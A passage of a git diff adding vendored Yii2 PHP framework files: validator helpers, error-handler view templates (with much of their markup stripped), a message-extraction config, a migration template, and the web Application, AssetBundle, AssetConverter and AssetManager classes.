\yii\web\View $view the view object that is going to be used to render views or view files + * containing a model form with this validator applied. + * @return string the client-side validation script. Null if the validator does not support + * client-side validation. + * @see \yii\widgets\ActiveForm::enableClientValidation + */ + public function clientValidateAttribute($object, $attribute, $view) + { + return null; + } + + /** + * Returns a value indicating whether the validator is active for the given scenario and attribute. + * + * A validator is active if + * + * - the validator's `on` property is empty, or + * - the validator's `on` property contains the specified scenario + * + * @param string $scenario scenario name + * @return boolean whether the validator applies to the specified scenario. + */ + public function isActive($scenario) + { + return !in_array($scenario, $this->except, true) && (empty($this->on) || in_array($scenario, $this->on, true)); + } + + /** + * Adds an error about the specified attribute to the model object. + * This is a helper method that performs message selection and internationalization. + * @param \yii\base\Model $object the data object being validated + * @param string $attribute the attribute being validated + * @param string $message the error message + * @param array $params values for the placeholders in the error message + */ + public function addError($object, $attribute, $message, $params = []) + { + $value = $object->$attribute; + $params['attribute'] = $object->getAttributeLabel($attribute); + $params['value'] = is_array($value) ? 'array()' : $value; + $object->addError($attribute, Yii::$app->getI18n()->format($message, $params, Yii::$app->language)); + } + + /** + * Checks if the given value is empty. + * A value is considered empty if it is null, an empty array, or the trimmed result is an empty string. + * Note that this method is different from PHP empty(). It will return false when the value is 0. + * @param mixed $value the value to be checked + * @return boolean whether the value is empty + */ + public function isEmpty($value) + { + if ($this->isEmpty !== null) { + return call_user_func($this->isEmpty, $value); + } else { + return $value === null || $value === [] || $value === ''; + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/views/errorHandler/callStackItem.php b/php/yii2/basic/vendor/yiisoft/yii2/views/errorHandler/callStackItem.php new file mode 100644 index 00000000..e86f44f3 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/views/errorHandler/callStackItem.php @@ -0,0 +1,43 @@ + +
            • +
              +
              + . + htmlEncode($file); ?> + + + + addTypeLinks("$class::$method") : $handler->htmlEncode($method)) . '(' . $handler->argumentsToString($args) . ')' ?> + + + + +
              +
              + +
              +
              +
              +
              + +
              htmlEncode($lines[$i]);
              +                    }
              +                ?>
              +
              +
              + +
            • diff --git a/php/yii2/basic/vendor/yiisoft/yii2/views/errorHandler/error.php b/php/yii2/basic/vendor/yiisoft/yii2/views/errorHandler/error.php new file mode 100644 index 00000000..e85f09cd --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/views/errorHandler/error.php @@ -0,0 +1,93 @@ +statusCode; +} else { + $code = $exception->getCode(); +} +$name = $handler->getExceptionName($exception); +if ($name === null) { + $name = 'Error'; +} +if ($code) { + $name .= " (#$code)"; +} + +if ($exception instanceof \yii\base\UserException) { + $message = $exception->getMessage(); +} else { + $message = 'An internal server error occurred.'; +} + +if (method_exists($this, 'beginPage')) { + $this->beginPage(); +} +?> + + + + + <?= $handler->htmlEncode($name) ?> + + + + + +

              htmlEncode($name) ?>

              +

              htmlEncode($message)) ?>

              +

              + The above error occurred while the Web server was processing your request. +

              +

              + Please contact us if you think this is a server error. Thank you. +

              +
              + +
              + endBody(); // to allow injecting code into body (mostly by Yii Debug Toolbar) + } + ?> + + +endPage(); +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/views/errorHandler/exception.php b/php/yii2/basic/vendor/yiisoft/yii2/views/errorHandler/exception.php new file mode 100644 index 00000000..36cb15f3 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/views/errorHandler/exception.php @@ -0,0 +1,478 @@ + +beginPage(); ?> + + + + + + + <?php + $name = $handler->getExceptionName($exception); + if ($exception instanceof \yii\web\HttpException) { + echo (int) $exception->statusCode . ' ' . $handler->htmlEncode($name); + } else { + $name = $handler->getExceptionName($exception); + if ($name !== null) { + echo $handler->htmlEncode($name . ' – ' . get_class($exception)); + } else { + echo $handler->htmlEncode(get_class($exception)); + } + } + ?> + + + + + +
              + + Error +

              + htmlEncode($exception->getName()) ?> + – addTypeLinks(get_class($exception)) ?> +

              + + Exception +

              ' . $handler->createHttpStatusLink($exception->statusCode, $handler->htmlEncode($exception->getName())) . ''; + echo ' – ' . $handler->addTypeLinks(get_class($exception)); + } else { + $name = $handler->getExceptionName($exception); + if ($name !== null) { + echo '' . $handler->htmlEncode($name) . ''; + echo ' – ' . $handler->addTypeLinks(get_class($exception)); + } else { + echo '' . $handler->htmlEncode(get_class($exception)) . ''; + } + } + ?>

              + +

              htmlEncode($exception->getMessage())) ?>

              + + errorInfo)) { + echo '
              Error Info: ' . print_r($exception->errorInfo, true) . '
              '; + } ?> + + renderPreviousExceptions($exception) ?> +
              + +
              +
                + renderCallStackItem($exception->getFile(), $exception->getLine(), null, null, [], 1) ?> + getTrace(), $length = count($trace); $i < $length; ++$i): ?> + renderCallStackItem(@$trace[$i]['file'] ?: null, @$trace[$i]['line'] ?: null, + @$trace[$i]['class'] ?: null, @$trace[$i]['function'] ?: null, $trace[$i]['args'], $i + 2) ?> + +
              +
              + +
              +
              + renderRequest() ?> +
              +
              + + + + + + + + + endBody(); // to allow injecting code into body (mostly by Yii Debug Toolbar) ?> + + + +endPage(); ?> diff --git a/php/yii2/basic/vendor/yiisoft/yii2/views/errorHandler/previousException.php b/php/yii2/basic/vendor/yiisoft/yii2/views/errorHandler/previousException.php new file mode 100644 index 00000000..882246da --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/views/errorHandler/previousException.php @@ -0,0 +1,23 @@ + + diff --git a/php/yii2/basic/vendor/yiisoft/yii2/views/messageConfig.php b/php/yii2/basic/vendor/yiisoft/yii2/views/messageConfig.php new file mode 100644 index 00000000..5afe7c6d --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/views/messageConfig.php @@ -0,0 +1,73 @@ + __DIR__, + // array, required, list of language codes that the extracted messages + // should be translated to. For example, ['zh-CN', 'de']. + 'languages' => ['de'], + // string, the name of the function for translating messages. + // Defaults to 'Yii::t'. This is used as a mark to find the messages to be + // translated. You may use a string for single function name or an array for + // multiple function names. + 'translator' => 'Yii::t', + // boolean, whether to sort messages by keys when merging new messages + // with the existing ones. Defaults to false, which means the new (untranslated) + // messages will be separated from the old (translated) ones. + 'sort' => false, + // boolean, whether to remove messages that no longer appear in the source code. + // Defaults to false, which means each of these messages will be enclosed with a pair of '@@' marks. + 'removeUnused' => false, + // array, list of patterns that specify which files/directories should NOT be processed. + // If empty or not set, all files/directories will be processed. + // A path matches a pattern if it contains the pattern string at its end. For example, + // '/a/b' will match all files and directories ending with '/a/b'; + // the '*.svn' will match all files and directories whose name ends with '.svn'. + // and the '.svn' will match all files and directories named exactly '.svn'. + // Note, the '/' characters in a pattern matches both '/' and '\'. + // See helpers/FileHelper::findFiles() description for more details on pattern matching rules. + 'only' => ['*.php'], + // array, list of patterns that specify which files (not directories) should be processed. + // If empty or not set, all files will be processed. + // Please refer to "except" for details about the patterns. + // If a file/directory matches both a pattern in "only" and "except", it will NOT be processed. + 'except' => [ + '.svn', + '.git', + '.gitignore', + '.gitkeep', + '.hgignore', + '.hgkeep', + '/messages', + ], + + // 'php' output format is for saving messages to php files. + 'format' => 'php', + // Root directory containing message translations. + 'messagePath' => __DIR__ . DIRECTORY_SEPARATOR . 'messages', + // boolean, whether the message file should be overwritten with the merged messages + 'overwrite' => true, + + + /* + // 'db' output format is for saving messages to database. + 'format' => 'db', + // Connection component to use. Optional. + 'db' => 'db', + // Custom source message table. Optional. + // 'sourceMessageTable' => '{{%source_message}}', + // Custom name for translation message table. Optional. + // 'messageTable' => '{{%message}}', + */ + + /* + // 'po' output format is for saving messages to gettext po files. + 'format' => 'po', + // Root directory containing message translations. + 'messagePath' => __DIR__ . DIRECTORY_SEPARATOR . 'messages', + // Name of the file that will be used for translations. + 'catalog' => 'messages', + // boolean, whether the message file should be overwritten with the merged messages + 'overwrite' => true, + */ +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/views/migration.php b/php/yii2/basic/vendor/yiisoft/yii2/views/migration.php new file mode 100644 index 00000000..584e8e4b --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/views/migration.php @@ -0,0 +1,27 @@ + + +use yii\db\Schema; +use yii\db\Migration; + +class extends Migration +{ + public function up() + { + + } + + public function down() + { + echo " cannot be reverted.\n"; + + return false; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/Application.php b/php/yii2/basic/vendor/yiisoft/yii2/web/Application.php new file mode 100644 index 00000000..c2dc60a5 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/Application.php @@ -0,0 +1,156 @@ + + * @since 2.0 + */ +class Application extends \yii\base\Application +{ + /** + * @var string the default route of this application. Defaults to 'site'. + */ + public $defaultRoute = 'site'; + /** + * @var array the configuration specifying a controller action which should handle + * all user requests. This is mainly used when the application is in maintenance mode + * and needs to handle all incoming requests via a single action. + * The configuration is an array whose first element specifies the route of the action. + * The rest of the array elements (key-value pairs) specify the parameters to be bound + * to the action. For example, + * + * ~~~ + * [ + * 'offline/notice', + * 'param1' => 'value1', + * 'param2' => 'value2', + * ] + * ~~~ + * + * Defaults to null, meaning catch-all is not used. + */ + public $catchAll; + /** + * @var Controller the currently active controller instance + */ + public $controller; + + + /** + * @inheritdoc + */ + protected function bootstrap() + { + $request = $this->getRequest(); + Yii::setAlias('@webroot', dirname($request->getScriptFile())); + Yii::setAlias('@web', $request->getBaseUrl()); + + parent::bootstrap(); + } + + /** + * Handles the specified request. + * @param Request $request the request to be handled + * @return Response the resulting response + * @throws NotFoundHttpException if the requested route is invalid + */ + public function handleRequest($request) + { + if (empty($this->catchAll)) { + list ($route, $params) = $request->resolve(); + } else { + $route = $this->catchAll[0]; + $params = array_splice($this->catchAll, 1); + } + try { + Yii::trace("Route requested: '$route'", __METHOD__); + $this->requestedRoute = $route; + $result = $this->runAction($route, $params); + if ($result instanceof Response) { + return $result; + } else { + $response = $this->getResponse(); + if ($result !== null) { + $response->data = $result; + } + + return $response; + } + } catch (InvalidRouteException $e) { + throw new NotFoundHttpException($e->getMessage(), $e->getCode(), $e); + } + } + + private $_homeUrl; + + /** + * @return string the homepage URL + */ + public function getHomeUrl() + { + if ($this->_homeUrl === null) { + if ($this->getUrlManager()->showScriptName) { + return $this->getRequest()->getScriptUrl(); + } else { + return $this->getRequest()->getBaseUrl() . '/'; + } + } else { + return $this->_homeUrl; + } + } + + /** + * @param string $value the homepage URL + */ + public function setHomeUrl($value) + { + $this->_homeUrl = $value; + } + + /** + * Returns the session component. + * @return Session the session component. + */ + public function getSession() + { + return $this->get('session'); + } + + /** + * Returns the user component. + * @return User the user component. + */ + public function getUser() + { + return $this->get('user'); + } + + /** + * @inheritdoc + */ + public function coreComponents() + { + return array_merge(parent::coreComponents(), [ + 'request' => ['class' => 'yii\web\Request'], + 'response' => ['class' => 'yii\web\Response'], + 'session' => ['class' => 'yii\web\Session'], + 'user' => ['class' => 'yii\web\User'], + 'errorHandler' => ['class' => 'yii\web\ErrorHandler'], + ]); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/AssetBundle.php b/php/yii2/basic/vendor/yiisoft/yii2/web/AssetBundle.php new file mode 100644 index 00000000..a5c58dd5 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/AssetBundle.php @@ -0,0 +1,178 @@ + + * @since 2.0 + */ +class AssetBundle extends Object +{ + /** + * @var string the directory that contains the source asset files for this asset bundle. + * A source asset file is a file that is part of your source code repository of your Web application. + * + * You must set this property if the directory containing the source asset files is not Web accessible. + * By setting this property, [[AssetManager]] will publish the source asset files + * to a Web-accessible directory automatically when the asset bundle is registered on a page. + * + * If you do not set this property, it means the source asset files are located under [[basePath]]. + * + * You can use either a directory or an alias of the directory. + */ + public $sourcePath; + /** + * @var string the Web-accessible directory that contains the asset files in this bundle. + * + * If [[sourcePath]] is set, this property will be *overwritten* by [[AssetManager]] + * when it publishes the asset files from [[sourcePath]]. + * + * You can use either a directory or an alias of the directory. + */ + public $basePath; + /** + * @var string the base URL for the relative asset files listed in [[js]] and [[css]]. + * + * If [[sourcePath]] is set, this property will be *overwritten* by [[AssetManager]] + * when it publishes the asset files from [[sourcePath]]. + * + * You can use either a URL or an alias of the URL. + */ + public $baseUrl; + /** + * @var array list of bundle class names that this bundle depends on. + * + * For example: + * + * ```php + * public $depends = [ + * 'yii\web\YiiAsset', + * 'yii\bootstrap\BootstrapAsset', + * ]; + * ``` + */ + public $depends = []; + /** + * @var array list of JavaScript files that this bundle contains. Each JavaScript file can be + * specified in one of the following formats: + * + * - an absolute URL representing an external asset. For example, + * `http://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js` or + * `//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js`. + * - a relative path representing a local asset (e.g. `js/main.js`). The actual file path of a local + * asset can be determined by prefixing [[basePath]] to the relative path, and the actual URL + * of the asset can be determined by prefixing [[baseUrl]] to the relative path. + * + * Note that only forward slash "/" should be used as directory separators. + */ + public $js = []; + /** + * @var array list of CSS files that this bundle contains. Each CSS file can be specified + * in one of the three formats as explained in [[js]]. + * + * Note that only forward slash "/" can be used as directory separator. + */ + public $css = []; + /** + * @var array the options that will be passed to [[View::registerJsFile()]] + * when registering the JS files in this bundle. + */ + public $jsOptions = []; + /** + * @var array the options that will be passed to [[View::registerCssFile()]] + * when registering the CSS files in this bundle. + */ + public $cssOptions = []; + /** + * @var array the options to be passed to [[AssetManager::publish()]] when the asset bundle + * is being published. This property is used only when [[sourcePath]] is set. + */ + public $publishOptions = []; + + + /** + * Registers this asset bundle with a view. + * @param View $view the view to be registered with + * @return static the registered asset bundle instance + */ + public static function register($view) + { + return $view->registerAssetBundle(get_called_class()); + } + + /** + * Initializes the bundle. + * If you override this method, make sure you call the parent implementation in the last. + */ + public function init() + { + if ($this->sourcePath !== null) { + $this->sourcePath = rtrim(Yii::getAlias($this->sourcePath), '/\\'); + } + if ($this->basePath !== null) { + $this->basePath = rtrim(Yii::getAlias($this->basePath), '/\\'); + } + if ($this->baseUrl !== null) { + $this->baseUrl = rtrim(Yii::getAlias($this->baseUrl), '/'); + } + } + + /** + * Registers the CSS and JS files with the given view. + * @param \yii\web\View $view the view that the asset files are to be registered with. + */ + public function registerAssetFiles($view) + { + $manager = $view->getAssetManager(); + foreach ($this->js as $js) { + $view->registerJsFile($manager->getAssetUrl($this, $js), $this->jsOptions); + } + foreach ($this->css as $css) { + $view->registerCssFile($manager->getAssetUrl($this, $css), $this->cssOptions); + } + } + + /** + * Publishes the asset bundle if its source code is not under Web-accessible directory. + * It will also try to convert non-CSS or JS files (e.g. LESS, Sass) into the corresponding + * CSS or JS files using [[AssetManager::converter|asset converter]]. + * @param AssetManager $am the asset manager to perform the asset publishing + */ + public function publish($am) + { + if ($this->sourcePath !== null && !isset($this->basePath, $this->baseUrl)) { + list ($this->basePath, $this->baseUrl) = $am->publish($this->sourcePath, $this->publishOptions); + } + + if (isset($this->basePath, $this->baseUrl) && ($converter = $am->getConverter()) !== null) { + foreach ($this->js as $i => $js) { + if (Url::isRelative($js)) { + $this->js[$i] = $converter->convert($js, $this->basePath); + } + } + foreach ($this->css as $i => $css) { + if (Url::isRelative($css)) { + $this->css[$i] = $converter->convert($css, $this->basePath); + } + } + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/AssetConverter.php b/php/yii2/basic/vendor/yiisoft/yii2/web/AssetConverter.php new file mode 100644 index 00000000..6b0ad583 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/AssetConverter.php @@ -0,0 +1,113 @@ + + * @since 2.0 + */ +class AssetConverter extends Component implements AssetConverterInterface +{ + /** + * @var array the commands that are used to perform the asset conversion. + * The keys are the asset file extension names, and the values are the corresponding + * target script types (either "css" or "js") and the commands used for the conversion. + * + * You may also use a path alias to specify the location of the command: + * + * ```php + * [ + * 'styl' => ['css', '@app/node_modules/bin/stylus < {from} > {to}'], + * ] + * ``` + */ + public $commands = [ + 'less' => ['css', 'lessc {from} {to} --no-color --source-map'], + 'scss' => ['css', 'sass {from} {to} --sourcemap'], + 'sass' => ['css', 'sass {from} {to} --sourcemap'], + 'styl' => ['css', 'stylus < {from} > {to}'], + 'coffee' => ['js', 'coffee -p {from} > {to}'], + 'ts' => ['js', 'tsc --out {to} {from}'], + ]; + + + /** + * Converts a given asset file into a CSS or JS file. + * @param string $asset the asset file path, relative to $basePath + * @param string $basePath the directory the $asset is relative to. + * @return string the converted asset file path, relative to $basePath. + */ + public function convert($asset, $basePath) + { + $pos = strrpos($asset, '.'); + if ($pos !== false) { + $ext = substr($asset, $pos + 1); + if (isset($this->commands[$ext])) { + list ($ext, $command) = $this->commands[$ext]; + $result = substr($asset, 0, $pos + 1) . $ext; + if (@filemtime("$basePath/$result") < filemtime("$basePath/$asset")) { + $this->runCommand($command, $basePath, $asset, $result); + } + + return $result; + } + } + + return $asset; + } + + /** + * Runs a command to convert asset files. + * @param string $command the command to run. If prefixed with an `@` it will be treated as a path alias. + * @param string $basePath asset base path and command working directory + * @param string $asset the name of the asset file + * @param string $result the name of the file to be generated by the converter command + * @return boolean true on success, false on failure. Failures will be logged. + * @throws \yii\base\Exception when the command fails and YII_DEBUG is true. + * In production mode the error will be logged. + */ + protected function runCommand($command, $basePath, $asset, $result) + { + $command = Yii::getAlias($command); + + $command = strtr($command, [ + '{from}' => escapeshellarg("$basePath/$asset"), + '{to}' => escapeshellarg("$basePath/$result"), + ]); + $descriptor = [ + 1 => ['pipe', 'w'], + 2 => ['pipe', 'w'], + ]; + $pipes = []; + $proc = proc_open($command, $descriptor, $pipes, $basePath); + $stdout = stream_get_contents($pipes[1]); + $stderr = stream_get_contents($pipes[2]); + foreach ($pipes as $pipe) { + fclose($pipe); + } + $status = proc_close($proc); + + if ($status === 0) { + Yii::trace("Converted $asset into $result:\nSTDOUT:\n$stdout\nSTDERR:\n$stderr", __METHOD__); + } elseif (YII_DEBUG) { + throw new Exception("AssetConverter command '$command' failed with exit code $status:\nSTDOUT:\n$stdout\nSTDERR:\n$stderr"); + } else { + Yii::error("AssetConverter command '$command' failed with exit code $status:\nSTDOUT:\n$stdout\nSTDERR:\n$stderr", __METHOD__); + } + + return $status === 0; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/AssetConverterInterface.php b/php/yii2/basic/vendor/yiisoft/yii2/web/AssetConverterInterface.php new file mode 100644 index 00000000..e72e566d --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/AssetConverterInterface.php @@ -0,0 +1,25 @@ + + * @since 2.0 + */ +interface AssetConverterInterface +{ + /** + * Converts a given asset file into a CSS or JS file. + * @param string $asset the asset file path, relative to $basePath + * @param string $basePath the directory the $asset is relative to. + * @return string the converted asset file path, relative to $basePath. + */ + public function convert($asset, $basePath); +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/AssetManager.php b/php/yii2/basic/vendor/yiisoft/yii2/web/AssetManager.php new file mode 100644 index 00000000..a4195b2b --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/AssetManager.php @@ -0,0 +1,521 @@ +assetManager`. + * + * You can modify its configuration by adding an array to your application config under `components` + * as shown in the following example: + * + * ```php + * 'assetManager' => [ + * 'bundles' => [ + * // you can override AssetBundle configs here + * ], + * ] + * ``` + * + * @property AssetConverterInterface $converter The asset converter. Note that the type of this property + * differs in getter and setter. See [[getConverter()]] and [[setConverter()]] for details. + * + * @author Qiang Xue + * @since 2.0 + */ +class AssetManager extends Component +{ + /** + * @var array|boolean list of asset bundle configurations. This property is provided to customize asset bundles. + * When a bundle is being loaded by [[getBundle()]], if it has a corresponding configuration specified here, + * the configuration will be applied to the bundle. + * + * The array keys are the asset bundle names, which typically are asset bundle class names without leading backslash. + * The array values are the corresponding configurations. If a value is false, it means the corresponding asset + * bundle is disabled and [[getBundle()]] should return null. + * + * If this this property is false, it means the whole asset bundle feature is disabled and [[getBundle()]] + * will always return null. + * + * The following example shows how to disable the bootstrap css file used by Bootstrap widgets + * (because you want to use your own styles): + * + * ~~~ + * [ + * 'yii\bootstrap\BootstrapAsset' => [ + * 'css' => [], + * ], + * ] + * ~~~ + */ + public $bundles = []; + /** + * @return string the root directory storing the published asset files. + */ + public $basePath = '@webroot/assets'; + /** + * @return string the base URL through which the published asset files can be accessed. + */ + public $baseUrl = '@web/assets'; + /** + * @var array mapping from source asset files (keys) to target asset files (values). + * + * This property is provided to support fixing incorrect asset file paths in some asset bundles. + * When an asset bundle is registered with a view, each relative asset file in its [[AssetBundle::css|css]] + * and [[AssetBundle::js|js]] arrays will be examined against this map. If any of the keys is found + * to be the last part of an asset file (which is prefixed with [[AssetBundle::sourcePath]] if available), + * the corresponding value will replace the asset and be registered with the view. + * For example, an asset file `my/path/to/jquery.js` matches a key `jquery.js`. + * + * Note that the target asset files should be either absolute URLs or paths relative to [[baseUrl]] and [[basePath]]. + * + * In the following example, any assets ending with `jquery.min.js` will be replaced with `jquery/dist/jquery.js` + * which is relative to [[baseUrl]] and [[basePath]]. + * + * ```php + * [ + * 'jquery.min.js' => 'jquery/dist/jquery.js', + * ] + * ``` + */ + public $assetMap = []; + /** + * @var boolean whether to use symbolic link to publish asset files. Defaults to false, meaning + * asset files are copied to [[basePath]]. Using symbolic links has the benefit that the published + * assets will always be consistent with the source assets and there is no copy operation required. + * This is especially useful during development. + * + * However, there are special requirements for hosting environments in order to use symbolic links. + * In particular, symbolic links are supported only on Linux/Unix, and Windows Vista/2008 or greater. + * + * Moreover, some Web servers need to be properly configured so that the linked assets are accessible + * to Web users. For example, for Apache Web server, the following configuration directive should be added + * for the Web folder: + * + * ~~~ + * Options FollowSymLinks + * ~~~ + */ + public $linkAssets = false; + /** + * @var integer the permission to be set for newly published asset files. + * This value will be used by PHP chmod() function. No umask will be applied. + * If not set, the permission will be determined by the current environment. + */ + public $fileMode; + /** + * @var integer the permission to be set for newly generated asset directories. + * This value will be used by PHP chmod() function. No umask will be applied. + * Defaults to 0775, meaning the directory is read-writable by owner and group, + * but read-only for other users. + */ + public $dirMode = 0775; + /** + * @var callback a PHP callback that is called before copying each sub-directory or file. + * This option is used only when publishing a directory. If the callback returns false, the copy + * operation for the sub-directory or file will be cancelled. + * + * The signature of the callback should be: `function ($from, $to)`, where `$from` is the sub-directory or + * file to be copied from, while `$to` is the copy target. + * + * This is passed as a parameter `beforeCopy` to [[\yii\helpers\FileHelper::copyDirectory()]]. + */ + public $beforeCopy; + /** + * @var callback a PHP callback that is called after a sub-directory or file is successfully copied. + * This option is used only when publishing a directory. The signature of the callback is the same as + * for [[beforeCopy]]. + * This is passed as a parameter `afterCopy` to [[\yii\helpers\FileHelper::copyDirectory()]]. + */ + public $afterCopy; + /** + * @var boolean whether the directory being published should be copied even if + * it is found in the target directory. This option is used only when publishing a directory. + * You may want to set this to be `true` during the development stage to make sure the published + * directory is always up-to-date. Do not set this to true on production servers as it will + * significantly degrade the performance. + */ + public $forceCopy = false; + + private $_dummyBundles = []; + + + /** + * Initializes the component. + * @throws InvalidConfigException if [[basePath]] is invalid + */ + public function init() + { + parent::init(); + $this->basePath = Yii::getAlias($this->basePath); + if (!is_dir($this->basePath)) { + throw new InvalidConfigException("The directory does not exist: {$this->basePath}"); + } elseif (!is_writable($this->basePath)) { + throw new InvalidConfigException("The directory is not writable by the Web process: {$this->basePath}"); + } else { + $this->basePath = realpath($this->basePath); + } + $this->baseUrl = rtrim(Yii::getAlias($this->baseUrl), '/'); + } + + /** + * Returns the named asset bundle. + * + * This method will first look for the bundle in [[bundles]]. If not found, + * it will treat `$name` as the class of the asset bundle and create a new instance of it. + * + * @param string $name the class name of the asset bundle + * @param boolean $publish whether to publish the asset files in the asset bundle before it is returned. + * If you set this false, you must manually call `AssetBundle::publish()` to publish the asset files. + * @return AssetBundle the asset bundle instance + * @throws InvalidConfigException if $name does not refer to a valid asset bundle + */ + public function getBundle($name, $publish = true) + { + if ($this->bundles === false) { + return $this->loadDummyBundle($name); + } elseif (!isset($this->bundles[$name])) { + return $this->bundles[$name] = $this->loadBundle($name, [], $publish); + } elseif ($this->bundles[$name] instanceof AssetBundle) { + return $this->bundles[$name]; + } elseif (is_array($this->bundles[$name])) { + return $this->bundles[$name] = $this->loadBundle($name, $this->bundles[$name], $publish); + } elseif ($this->bundles[$name] === false) { + return $this->loadDummyBundle($name); + } else { + throw new InvalidConfigException("Invalid asset bundle configuration: $name"); + } + } + + protected function loadBundle($name, $config = [], $publish = true) + { + if (!isset($config['class'])) { + $config['class'] = $name; + } + /* @var $bundle AssetBundle */ + $bundle = Yii::createObject($config); + if ($publish) { + $bundle->publish($this); + } + return $bundle; + } + + protected function loadDummyBundle($name) + { + if (!isset($this->_dummyBundles[$name])) { + $this->_dummyBundles[$name] = $this->loadBundle($name, [ + 'js' => [], + 'css' => [], + 'depends' => [], + ]); + } + return $this->_dummyBundles[$name]; + } + + /** + * Returns the actual URL for the specified asset. + * The actual URL is obtained by prepending either [[baseUrl]] or [[AssetManager::baseUrl]] to the given asset path. + * @param AssetBundle $bundle the asset bundle which the asset file belongs to + * @param string $asset the asset path. This should be one of the assets listed in [[js]] or [[css]]. + * @return string the actual URL for the specified asset. + */ + public function getAssetUrl($bundle, $asset) + { + if (($actualAsset = $this->resolveAsset($bundle, $asset)) !== false) { + return Url::isRelative($actualAsset) ? $this->baseUrl . '/' . $actualAsset : $actualAsset; + } else { + return Url::isRelative($asset) ? $bundle->baseUrl . '/' . $asset : $asset; + } + } + + /** + * Returns the actual file path for the specified asset. + * @param AssetBundle $bundle the asset bundle which the asset file belongs to + * @param string $asset the asset path. This should be one of the assets listed in [[js]] or [[css]]. + * @return string|boolean the actual file path, or false if the asset is specified as an absolute URL + */ + public function getAssetPath($bundle, $asset) + { + if (($actualAsset = $this->resolveAsset($bundle, $asset)) !== false) { + return Url::isRelative($actualAsset) ? $this->basePath . '/' . $actualAsset : false; + } else { + return Url::isRelative($asset) ? $bundle->basePath . '/' . $asset : false; + } + } + + /** + * @param AssetBundle $bundle + * @param string $asset + * @return string|boolean + */ + protected function resolveAsset($bundle, $asset) + { + if (isset($this->assetMap[$asset])) { + return $this->assetMap[$asset]; + } + if ($bundle->sourcePath !== null && Url::isRelative($asset)) { + $asset = $bundle->sourcePath . '/' . $asset; + } + + $n = mb_strlen($asset); + foreach ($this->assetMap as $from => $to) { + $n2 = mb_strlen($from); + if ($n2 <= $n && substr_compare($asset, $from, $n - $n2, $n2) === 0) { + return $to; + } + } + + return false; + } + + private $_converter; + + /** + * Returns the asset converter. + * @return AssetConverterInterface the asset converter. + */ + public function getConverter() + { + if ($this->_converter === null) { + $this->_converter = Yii::createObject(AssetConverter::className()); + } elseif (is_array($this->_converter) || is_string($this->_converter)) { + if (is_array($this->_converter) && !isset($this->_converter['class'])) { + $this->_converter['class'] = AssetConverter::className(); + } + $this->_converter = Yii::createObject($this->_converter); + } + + return $this->_converter; + } + + /** + * Sets the asset converter. + * @param array|AssetConverterInterface $value the asset converter. This can be either + * an object implementing the [[AssetConverterInterface]], or a configuration + * array that can be used to create the asset converter object. + */ + public function setConverter($value) + { + $this->_converter = $value; + } + + /** + * @var array published assets + */ + private $_published = []; + + /** + * Publishes a file or a directory. + * + * This method will copy the specified file or directory to [[basePath]] so that + * it can be accessed via the Web server. + * + * If the asset is a file, its file modification time will be checked to avoid + * unnecessary file copying. + * + * If the asset is a directory, all files and subdirectories under it will be published recursively. + * Note, in case $forceCopy is false the method only checks the existence of the target + * directory to avoid repetitive copying (which is very expensive). + * + * By default, when publishing a directory, subdirectories and files whose name starts with a dot "." + * will NOT be published. If you want to change this behavior, you may specify the "beforeCopy" option + * as explained in the `$options` parameter. + * + * Note: On rare scenario, a race condition can develop that will lead to a + * one-time-manifestation of a non-critical problem in the creation of the directory + * that holds the published assets. This problem can be avoided altogether by 'requesting' + * in advance all the resources that are supposed to trigger a 'publish()' call, and doing + * that in the application deployment phase, before system goes live. See more in the following + * discussion: http://code.google.com/p/yii/issues/detail?id=2579 + * + * @param string $path the asset (file or directory) to be published + * @param array $options the options to be applied when publishing a directory. + * The following options are supported: + * + * - beforeCopy: callback, a PHP callback that is called before copying each sub-directory or file. + * This overrides [[beforeCopy]] if set. + * - afterCopy: callback, a PHP callback that is called after a sub-directory or file is successfully copied. + * This overrides [[afterCopy]] if set. + * - forceCopy: boolean, whether the directory being published should be copied even if + * it is found in the target directory. This option is used only when publishing a directory. + * This overrides [[forceCopy]] if set. + * + * @return array the path (directory or file path) and the URL that the asset is published as. + * @throws InvalidParamException if the asset to be published does not exist. + */ + public function publish($path, $options = []) + { + $path = Yii::getAlias($path); + + if (isset($this->_published[$path])) { + return $this->_published[$path]; + } + + if (!is_string($path) || ($src = realpath($path)) === false) { + throw new InvalidParamException("The file or directory to be published does not exist: $path"); + } + + if (is_file($src)) { + return $this->_published[$path] = $this->publishFile($src); + } else { + return $this->_published[$path] = $this->publishDirectory($src, $options); + } + } + + /** + * Publishes a file. + * @param string $src the asset file to be published + * @return array the path and the URL that the asset is published as. + * @throws InvalidParamException if the asset to be published does not exist. + */ + protected function publishFile($src) + { + $dir = $this->hash(dirname($src) . filemtime($src)); + $fileName = basename($src); + $dstDir = $this->basePath . DIRECTORY_SEPARATOR . $dir; + $dstFile = $dstDir . DIRECTORY_SEPARATOR . $fileName; + + if (!is_dir($dstDir)) { + FileHelper::createDirectory($dstDir, $this->dirMode, true); + } + + if ($this->linkAssets) { + if (!is_file($dstFile)) { + symlink($src, $dstFile); + } + } elseif (@filemtime($dstFile) < @filemtime($src)) { + copy($src, $dstFile); + if ($this->fileMode !== null) { + @chmod($dstFile, $this->fileMode); + } + } + + return [$dstFile, $this->baseUrl . "/$dir/$fileName"]; + } + + /** + * Publishes a directory. + * @param string $src the asset directory to be published + * @param array $options the options to be applied when 